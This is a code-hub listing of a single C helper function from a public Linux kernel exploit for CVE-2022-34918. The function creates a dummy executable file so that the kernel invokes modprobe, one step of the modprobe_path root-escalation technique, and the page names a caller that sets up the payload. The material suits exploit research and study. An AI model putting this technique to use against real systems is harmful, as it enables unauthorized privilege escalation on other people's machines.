MCPcopy Create free account
hub / github.com/bsauce/kernel-exploit-factory / create_dummy_file

Function create_dummy_file

CVE-2022-34918/exploit/exploit.c:302–307  ·  view source on GitHub ↗

create_dummy_file(): Create a file to trigger call_modprobe in case of execution

Source from the content-addressed store, hash-verified

300
301// create_dummy_file(): Create a file to trigger call_modprobe in case of execution
302void create_dummy_file(void) {
303 int fd;
304 fd = open(dummy_file, O_CREAT | O_RDWR, S_IRWXU | S_IRWXG | S_IRWXO);
305 write(fd, dummy_content, sizeof(dummy_content));
306 close(fd);
307}
308
309// get_new_modprobe_path(): Read the new modprobe_path (read it from /proc/sys/kernel/modprobe)
310char *get_new_modprobe_path(void) {

Callers 1

setup_modprobe_payloadFunction · 0.85

Calls

no outgoing calls

Tested by

no test coverage detected